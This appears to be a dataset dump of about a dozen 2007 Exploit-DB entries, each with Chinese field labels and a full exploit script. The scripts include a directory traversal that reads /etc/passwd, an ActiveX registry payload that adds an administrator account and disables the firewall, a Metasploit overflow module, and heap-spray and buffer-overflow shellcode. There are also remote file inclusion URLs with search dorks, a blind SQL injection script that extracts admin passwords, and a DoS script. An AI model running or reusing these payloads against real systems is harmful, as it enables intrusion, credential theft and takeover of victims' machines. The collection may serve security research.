QLWD/code_shield huggingface dataset:
标题: Web Oddity Web Server 0.09b - Directory Traversal EDB-ID: 4362 CVE: 2007-4726 类型: REMOTE 平台: LINUX 发布日期: 2007-09-04 漏洞利用脚本: # Web Oddity Web Server 0.09b Directory Transversal Vulnerability
# Found by: Katatafish (karatatata@hush.com)
# Download: http://sourceforge.net/project/showfiles.php?group_id=13854
# Thanks: str0ke

use LWP::Simple;
use strict;

sub usage
{
       print "----------------------------------------------------- - -----------\n";
       print "Web Oddity Web Server 0.09b Directory Transversal Vulnerability\n";
       print "\n";
       print "usage: $0 www.site.com\n";
       print "------------------------------------------------- Katatafish-----\n";
       exit ();
}

my $host=shift || &usage;
getprint 'http://' . $host . '/../../../../../../../etc/passwd';

# milw0rm.com [2007-09-04] URL: https://www.exploit-db.com/exploits/4362
标题: Telecom Italy Alice Messenger - Remote Registry Key Manipulation EDB-ID: 4357 CVE: 2007-4740 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-03 漏洞利用脚本: <!--
04.50 20/08/2007
Telecom Italy Alice Messenger Hp.Revolution.RegistryManager.dll (v.1)
remote arbitrary registry key manipulation

I mean this one:
http://aiuto.alice.it/offerte/messenger/installazione.html

this was 0day for a while, but ... who knows?
the new version suggests to remove this dll, you know telecom guy, because it sucks...

Object Safety report:

RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data

rgod.
http://retrogod.altervista.org
-->
<html>
<object classid='clsid:19092490-676B-4C06-A158-34F1CD2DE517' id='HPRevolutionRegistryManager' /></OBJECT>
<script language='vbscript'>
group="HKEY_LOCAL_MACHINE"
section="SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
key="sun-tzu"
valType=1 'REG_SZ
value="""c:\windows\system32\cmd.exe"" /c net user sun tzu /add & net localgroup Administrators sun /add & sc config SharedAccess start= disabled & net stop SharedAccess & sc config TlntSvr start= auto & net start TlntSvr & echo whatthefuck(!) & pause" 'you meretrix...
HPRevolutionRegistryManager.WriteRegistry group ,section ,key ,valType ,value 'die of miserable death mommy
</script>
</html>

# milw0rm.com [2007-09-03] URL: https://www.exploit-db.com/exploits/4357
标题: CCProxy 6.2 - Telnet Proxy Ping Overflow (Metasploit) EDB-ID: 4360 CVE: 2004-2685 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-03 漏洞利用脚本: ##
# $Id: ccproxy_telnet_ping.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
   'Description' => %q{
     This module exploits the YoungZSoft CCProxy <= v6.2 suite
    Telnet service. The stack is overwritten when sending an overly
    long address to the 'ping' command.
   },
   'Author'  => [ 'Patrick Webster <patrick[at]aushack.com>' ],
   'Arch'  => [ ARCH_X86 ],
   'License'       => MSF_LICENSE,
   'Version'       => '$Revision: 9179 $',
   'References'    =>
    [
     [ 'CVE', '2004-2416' ],
     [ 'OSVDB', '11593' ],
     [ 'BID', '11666 ' ],
     [ 'URL', 'http://milw0rm.com/exploits/621' ],
    ],
   'Privileged'  => false,
   'DefaultOptions' =>
    {
     'EXITFUNC'  => 'thread',
    },
   'Payload' =>
    {
     'Space'  => 1012,
     'BadChars'  => "\x00\x07\x08\x0a\x0d\x20",
    },
   'Platform' => ['win'],
   'Targets' =>
    [
     # Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
     [ 'Windows 2000 Pro All - English', { 'Ret' => 0x75023411 } ], # call esi ws2help.dll
     [ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2b81 } ], # call esi ws2help.dll
     [ 'Windows 2000 Pro All - French',  { 'Ret' => 0x74fa2b22 } ], # call esi ws2help.dll
     [ 'Windows XP SP0/1 - English',     { 'Ret' => 0x71aa1a97 } ], # call esi ws2help.dll
     [ 'Windows XP SP2 - English',     { 'Ret' => 0x71aa1b22 } ], # call esi ws2help.dll
    ],
   'DisclosureDate' => 'Nov 11 2004'))

  register_options(
   [
    Opt::RPORT(23),
   ], self.class)
 end

 def check
  connect
  banner = sock.get_once(-1,3)
  disconnect

  if (banner =~ /CCProxy Telnet Service Ready/)
   return Exploit::CheckCode::Appears
  end
   return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  sploit  = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
  sock.put(sploit + "\r\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/4360
标题: Apple QuickTime < 7.2 - SMIL Remote Integer Overflow EDB-ID: 4359 CVE: 2007-2394 类型: DOS 平台: MULTIPLE 发布日期: 2007-09-03 漏洞利用脚本: ----------------------------------------------------------------------
ATTACK VECTORS
----------------------------------------------------------------------

This vulnerability can be triggered by luring a target user into
running a malicious SMIL file locally or via a webpage. In the later
scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used:

<OBJECT
  CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
  CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab"
  WIDTH="10" HEIGHT="10" >
  <!-- malicious SMIL file -->
  <PARAM NAME="src" VALUE="poc.smil" />
  <EMBED
    <!-- available .qtif or .mov file to start up QT for FF -->
    SRC="available-sample.qtif"
    <!-- malicious SMIL file -->
    QTSRC="poc.smil"
    WIDTH="10" HEIGHT="10"
    PLUGINSPAGE=" www.apple.com/quicktime/download"
    TYPE="video/quicktime"
  />
</OBJECT>

----------------------------------------------------------------------
PROOF OF CONCEPT
----------------------------------------------------------------------

#!/usr/bin/perl -w

####
# QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC
#
# Researched on QuickTime 7.1.3 on Windows 2000 SP4.
#
# David Vaartjes <d.vaartjes at gmail.com>
####

$file = " poc.smil";
$padd = "x";
$cop_len = 36;

####
# By choosing the following lengths the
# integer overflow will be triggered.
####

$tit_len = 223;
$auth_len = 65280;

open(FH,">$file") or die "Can't open file:$!";

print FH
 "<smil>\n".
 "<head>\n".
 " <meta name=\"title\" content=\"".$padd x $tit_len."\"/>\n".
 " <meta name=\"author\" content=\"".$padd x $auth_len."\"/>\n".
 " <meta name=\"copyright\" content=\"".$padd x $cop_len."\"/>\n".
 "</head>\n".
 "</smil>";

close(FH);

# milw0rm.com [2007-09-03] URL: https://www.exploit-db.com/exploits/4359
标题: eNetman 20050830 - 'index.php' Remote File Inclusion EDB-ID: 4356 CVE: 2007-4712 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-03 漏洞利用脚本: Title           : eNetman - The Enchanced Network Manager Remote File Inclusion
URL             : http://freshmeat.net/projects/enetman/
Author          : JaheeM
Exploit         : senetman/html/index.php?page=

Thanks To : #asc,  IRC.ASCNET.BIZ

# milw0rm.com [2007-09-03] URL: https://www.exploit-db.com/exploits/4356
标题: Weblogicnet - 'files_dir' Multiple Remote File Inclusions EDB-ID: 4352 CVE: 2007-4715 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-02 漏洞利用脚本: #############################Nyubicrew Community################################
#
#  Weblogicnet (files_dir) Remote File Inclusion
#
#  vendor : http://www.weblogicnet.com/
#  source : http://weblogicnet.com/data/weblogicnet.tgz 
#
#################################################################################
#
#
#       Bug Found By :home_edition2001 a.k.a (bius) (31-08-2007)
#
#       contact: bius22@mac.com
#
#       Website : www.solpotcrew.org/adv/home_edition2001-adv-02.txt
#
################################################################################
#
#
#      Greetz: Nyubi aka solpot , Matdhule , S4M3K ,[DEVIL_MAY_CRY] , iFX , Scr3W_W0rM , 
#              nakkuta , bukan-diriku , POET , Th0nk , mbako_semprul , Fungky , airsoul
#              wong_edan , ^s0n_g0ku^ , aLiiF , sparta-x , dudut , xtremeshell , Bithedz
#              th3sn0wbr4in , ReAksi , X8 , junkiest , K1tk4t , masboi , saritem
#              x-ace , replacement_killer , LamerCrew , k1n9k0ng ,[K]ompoR_Meledu[K]
#              and all member #nyubicrew @ irc.mildnet.org
#              especially thx to str0ke @ milw0rm.com
#
###############################################################################
Input passed to the "files_dir" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by including files from local or external resources.

code from :
es_desp.php
es_custom_menu.php
es_offer.php

################################################################################
# Weblogicnet                                                                  #
# http://www.weblogicnet.com/                info@weblogicnet.com              #
################################################################################
# Use of this program constitutes your agreement to the terms contained in the #
# LICENSE file within this distribution.                                       #
################################################################################

<ahref="
<?php require($files_dir.'/_custom_menu_link.php'); ?>">
<?php require($files_dir.'/_custom_menu_name.php'); ?></a><br>

google dork : inurl:es_offer.php?files_dir=

exploit : http://somehost/path_to_Weblogicnet/es_desp.php?files_dir=[evilCode]
          http://somehost/path_to_Weblogicnet/es_custom_menu.php?files_dir=[evilCode]
          http://somehost/path_to_Weblogicnet/es_offer.php?files_dir=[evilCode]

######################MY Special Girl JUST FOR U Ula#########################
######################################E.O.F##################################

# milw0rm.com [2007-09-02] URL: https://www.exploit-db.com/exploits/4352
标题: Yahoo! Messenger - 'YVerInfo.dll 2007.8.27.1' ActiveX Buffer Overflow EDB-ID: 4351 CVE: 2007-4515 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-01 漏洞利用脚本: <!--
Yahoo! Messenger (YVerInfo.dll <= 2007.8.27.1) ActiveX Control Buffer Overflows

update YM : http://messenger.yahoo.com/security_update.php?id=082907

Functions : fvcom or info;
RegKey Safe for Script: True 
RegKey Safe for Init: True
-> that functions are safely scriptable and exploitable by HeapSpray Technique

Tested : Windows XP Professional SP2 all patched,Internet Explorer 7

That functions within this class can only be called if the control believes it is being run from the yahoo.com domain. -> I used "Simple DNS Plus" for manipulating the DNS resolution.

I saved this file (exploit.htm) into directory root (web server) 
and I exploited with link : http://www.yahoo.com/exploit.htm

coder : minhbq
 mail : minhbq1985@gmail.com
-->


<html>
<!-- CLSID of YverInfo.dll -->
<object classid="CLSID:D5184A39-CBDF-4A4F-AC1A-7A45A852C883" id="target"></OBJECT>

<SCRIPT language="javascript">
// HeapSpray - execute calculator 
 shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");    
 bigblock = unescape("%u9090%u9090");    
    headersize = 20;    
    slackspace = headersize+shellcode.length
    while (bigblock.length<slackspace) bigblock+=bigblock;
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000) block = block+block+fillblock;    
 memory = new Array();
    for (i=0;i<800;i++) memory[i] = block + shellcode;

 var buffer =  unescape("%0D");
 while (buffer.length< 10000) buffer+=unescape("%0D");

// Vulnerability of method fvcom
 target.fvcom(buffer);   

</script>
</html>

# milw0rm.com [2007-09-01] URL: https://www.exploit-db.com/exploits/4351
标题: OtsTurntables 1.00 - '.m3u' Local Buffer Overflow EDB-ID: 4355 CVE: 2007-4734 类型: LOCAL 平台: WINDOWS 发布日期: 2007-09-02 漏洞利用脚本: <?php
/*
OTSTurntables 1.00 Buffer OverFlow 0days
224 bytes available for shellcode,, you can replace it with you favourite one,, 
0x77394540      jmp esp in shell32.dll Winxp sp0
exploit : [A x 277] +[EIP - jmp esp - 4] + [Nops -10] + [Shellcode -224] 
&& if you want to exploit this vul with SEH ,, take some infos :p
[ A x 277 ] + [EIP] + [B x 608] + [Pointer to next SEH record] + [SE handler]
by : 0x58
Greetz : Midt,,miyy3t,,Diablos5s5s5,,Str0ke,, MoroCcan haxorz,,!
*/
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
$shellcode = 
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84".
"\xd1\xfe\xd8\x83\xeb\xfc\xe2\xf4\x78\x39\xba\xd8\x84\xd1\x75\x9d".
"\xb8\x5a\x82\xdd\xfc\xd0\x11\x53\xcb\xc9\x75\x87\xa4\xd0\x15\x91".
"\x0f\xe5\x75\xd9\x6a\xe0\x3e\x41\x28\x55\x3e\xac\x83\x10\x34\xd5".
"\x85\x13\x15\x2c\xbf\x85\xda\xdc\xf1\x34\x75\x87\xa0\xd0\x15\xbe".
"\x0f\xdd\xb5\x53\xdb\xcd\xff\x33\x0f\xcd\x75\xd9\x6f\x58\xa2\xfc".
"\x80\x12\xcf\x18\xe0\x5a\xbe\xe8\x01\x11\x86\xd4\x0f\x91\xf2\x53".
"\xf4\xcd\x53\x53\xec\xd9\x15\xd1\x0f\x51\x4e\xd8\x84\xd1\x75\xb0".
"\xb8\x8e\xcf\x2e\xe4\x87\x77\x20\x07\x11\x85\x88\xec\x21\x74\xdc".
"\xdb\xb9\x66\x26\x0e\xdf\xa9\x27\x63\xb2\x9f\xb4\xe7\xff\x9b\xa0".
"\xe1\xd1\xfe\xd8";
$bof = str_repeat("A",277)."\x40\x45\x39\x77".str_repeat("\x90",10).$shellcode;
$filename = "OTSTurntables.m3u";
$file = fopen($filename,"w+");
fputs($file,"#EXTM3U\r\n");
fputs($file,"#EXTINF:0,TITLE\r\n");
fputs($file,"C:/");
fputs($file,$bof);
fclose($file);
echo "Exploit generated in : ".$filename."<br>";
?>

# milw0rm.com [2007-09-02] URL: https://www.exploit-db.com/exploits/4355
标题: PHPOF 20040226 - 'DB_adodb.class.php' Remote File Inclusion EDB-ID: 4363 CVE: 2007-4763 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-04 漏洞利用脚本: #Phpof Remote file inclusion

#Download script : http://www.phpof.org/phpof-20040226.tar.bz2

#Thx Str0ke

#Exploit :

#http://victime.com/[phpof_path]/dbmodules/DB_adodb.class.php?PHPOF_INCLUDE_PATH=shell.txt?

#Discoverd by ThE TiGeR

#Miro_Tiger100[at]Hotmail.com

# milw0rm.com [2007-09-04] URL: https://www.exploit-db.com/exploits/4363
标题: CKGold Shopping Cart 2.0 - 'category.php' Blind SQL Injection EDB-ID: 4349 CVE: 2007-4736 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-31 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[4])
{
 print "\n  |-------------------------------------------------|";
 print "\n  |                newhack[dot]org                  |";
 print "\n  |-------------------------------------------------|";
 print "\n  |  CKGold Shopping Cart v2.0 Blind SQL Injection  |";
 print "\n  |          Found by k1tk4t - Indonesia            |";
 print "\n  |   DNX Code  dnx[at]hackermail.com | Modified    |";
 print "\n  |-------------------------------------------------|";
 print "\n[!] Vendor: http://www.cartkeeper.com";
 print "\n[!] Usage: perl CKGold.pl [Host] [Path] <Options>";
 print "\n[!] Example: perl CKGold.pl 127.0.0.1 /shop/ -m 1 -c 10 -t tbl_system";
 print "\n[!] Options:";
 print "\n       -m [no]       Valid manufacturer_id";
 print "\n       -c [no]       Valid category_id";
 print "\n       -t [name]     Changes the system table name, default is tbl_system";
 print "\n       -p [ip:port]  Proxy support";
 print "\n";
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $mfr     = $ARGV[2];
my $cat     = $ARGV[3];
my $table   = "tbl_system";
my %options = ();
GetOptions(\%options, "m=i", "c=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"m"}) { $mfr = $options{"m"}; }
if($options{"c"}) { $cat = $options{"c"}; }
if($options{"t"}) { $table = $options{"t"}; }

syswrite(STDOUT, "[!] Admin Password : ", 21);

for(my $i = 1; $i <= 32; $i++)
{
 my $found = 0;
 my $h = 48;
 while(!$found && $h <= 57)
 {
   if(istrue2($host, $path, $table, $i, $h))
   {
     $found = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$found)
 {
   $h = 97;
   while(!$found && $h <= 122)
   {
     if(istrue2($host, $path, $table, $i, $h))
     {
       $found = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print "\n[!] Exploit done\n";

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $table = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $url = "http://".$host.$path."category.php?manufacturer_id=".$mfr."&category_id=".$cat."%20AND%20SUBSTRING((SELECT%20admin_password%20FROM%20".$table."%20LIMIT%200,1),".$i.",1)=CHAR(".$h.")";

 if($options{"p"})
 {
   $ua->proxy('http', "http://".$options{"p"});
 }

 my $response = $ua->get($url);
 my $content = $response->content;
 my $regexp = "<th>Products</th>";

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }
}

# milw0rm.com [2007-08-31] URL: https://www.exploit-db.com/exploits/4349
标题: Yvora CMS 1.0 - 'error_view.php?ID' SQL Injection EDB-ID: 4353 CVE: 2007-4714 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-02 漏洞利用脚本: ########################################################################
# Yvora CMS v1.0 - Remote SQL Injection
# Vendor        : http://www.yvora.nl/
# Found By      : k1tk4t - k1tk4t[4t]newhack.org
# Location      : Indonesia   --  #newhack[dot]org @irc.dal.net
########################################################################
POC;

http://www.victim.xxx/error_view.php?ID=[SQL]

Contoh;

http://www.victim.xxx/error_view.php?ID=-99+UNION+SELECT+1,2,3,password,username,6,7+from+admin_users/*

Hasil;

Error: Username
Query: Password

########################################################################
Terimakasih untuk;
str0ke
DNX,xoron,iFX,x-ace,nyubi,selikoer,k1ngk0ng
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member www.echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia
Cintailah Bahasa Indonesia

# milw0rm.com [2007-09-02] URL: https://www.exploit-db.com/exploits/4353
标题: Virtual DJ 5.0 - '.m3u' Local Buffer Overflow EDB-ID: 4354 CVE: 2007-4735 类型: LOCAL 平台: WINDOWS 发布日期: 2007-09-02 漏洞利用脚本: #Virtual DJ 5.0 Local Buffer OverFlow
#224 bytes available for shellcode,, you can replace it with you favourite one,, 
#ret addr -> 0x7199403D      jmp esp in mswsock.dll Winxp sp0
#exploit : [A x 484] +[EIP - jmp esp - 4] + [Nops -10] + [Shellcode -224] 
#Discovred by 0x58 && Coded By miyy3t,,Midt's lab !!
#Greetz : M.i.d.t,, Diablos5s5s,, Simo64 ,, s4mi,, issam ,, Metasploit,,Str0ke & All Mor0Ccan & Muslims h4xorz
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com

shellcode = "\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84"
shellcode+= "\xd1\xfe\xd8\x83\xeb\xfc\xe2\xf4\x78\x39\xba\xd8\x84\xd1\x75\x9d"
shellcode+= "\xb8\x5a\x82\xdd\xfc\xd0\x11\x53\xcb\xc9\x75\x87\xa4\xd0\x15\x91"
shellcode+= "\x0f\xe5\x75\xd9\x6a\xe0\x3e\x41\x28\x55\x3e\xac\x83\x10\x34\xd5"
shellcode+= "\x85\x13\x15\x2c\xbf\x85\xda\xdc\xf1\x34\x75\x87\xa0\xd0\x15\xbe"
shellcode+= "\x0f\xdd\xb5\x53\xdb\xcd\xff\x33\x0f\xcd\x75\xd9\x6f\x58\xa2\xfc"
shellcode+= "\x80\x12\xcf\x18\xe0\x5a\xbe\xe8\x01\x11\x86\xd4\x0f\x91\xf2\x53"
shellcode+= "\xf4\xcd\x53\x53\xec\xd9\x15\xd1\x0f\x51\x4e\xd8\x84\xd1\x75\xb0"
shellcode+= "\xb8\x8e\xcf\x2e\xe4\x87\x77\x20\x07\x11\x85\x88\xec\x21\x74\xdc"
shellcode+= "\xdb\xb9\x66\x26\x0e\xdf\xa9\x27\x63\xb2\x9f\xb4\xe7\xff\x9b\xa0"
shellcode+= "\xe1\xd1\xfe\xd8"

bof = "A"*484+"\x3D\x40\x99\x71"+"\x90"*10+shellcode

file = open('c:\/xploit.m3u','w+')
file.write("#EXTM3U\n");
file.write("#EXTINF:0,TITLE\n")
file.write("C:/")
file.write(bof)
file.close()

print "Exploit generated in c:\/xploit.m3u ...now open it with virtual dj !! "

# milw0rm.com [2007-09-02] URL: https://www.exploit-db.com/exploits/4354
标题: Wireshark < 0.99.5 - DNP3 Dissector Infinite Loop EDB-ID: 4347 CVE: 2007-6113 类型: DOS 平台: LINUX 发布日期: 2007-08-31 漏洞利用脚本: #!/usr/bin/perl
# Automatically generated by beSTORM(tm)
# Copyright Beyond Security (c) 2003-2007 ($Revision: 3741 $)

# Attack vector:
# M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0

# Module:
# DNP3

use strict;
use warnings;

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT} = \&abort;

my $host = '192.168.4.52';
my $port = 20000;
my $proto = 'udp';
my $sockType = SOCK_DGRAM;
my $timeout = 1;

#Read command line arguments
my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {
    usage()
}

$host = $opt{H} ? $opt{H} : $host;
$port = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;

my @commands = (
{Command => 'Send',
 Data => "\x05\x64\x15\xC2\x01\x00\x00\x00\x00\x00\xC3\xC0\x01\x01\x00". "\x01\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08"},
{Command => 'Receive'},

);

###
# End user configurable part
###

#1. Create a new connection
my $sock = new IO::Socket::INET (
                PeerAddr => $host,
    PeerPort => $port,
    Proto => $proto,
                Type => $sockType,
                Timeout => $timeout,
            )
    or die "socket error: $!\n\n";

print "connected to: $host:$port\n";

$sock->autoflush(1);
binmode $sock;

#2. communication part

foreach my $command (@commands)
{
    if ($command->{'Command'} eq 'Receive')
    {
        my $buf = receive($sock, $timeout);
        if (length $buf)
        {
            print "received: [$buf]\n";
        }
    }
    elsif ($command->{'Command'} eq 'Send')
    {
        print "sending: [".$command->{'Data'}."]\n";
        send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";
    }
}

#3. Close connection
close ($sock);

#The end

sub receive
{
 my $sock = shift;
 my $timeout = shift;

 my $tmpbuf;
 my $buf = "";

 while(1)
 { # Example from perldoc -f alarm
  eval {
    local $SIG{ALRM} = sub { die "timeout\n" };
    alarm $timeout;

    my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.
    if ( !defined $ret or $ret == 0 )
    { #EOF
        die "timeout\n";
    }

    alarm 0;
    $buf .= $tmpbuf;
  };
  if ($@) { #time out
    if($@ eq "timeout\n")
    {
        last;
    }
    else {
        die "receive aborted\n";
    }
  }
 } #while
 return $buf;
}

sub abort
{
    print "aborting...\n";
    if ($sock)
    {
        close $sock;
    }
    die "User aborted operation\n";
}
sub usage
{
 print "usage: $0 [-hHPt]\n";
 print "-h\t: this help message\n";
 print "-H\t: override default host - $host\n";
 print "-P\t: override default port - $port\n";
 print "-t\t: set socket timeout in seconds\n";
 exit 0;
}

# milw0rm.com [2007-08-31] URL: https://www.exploit-db.com/exploits/4347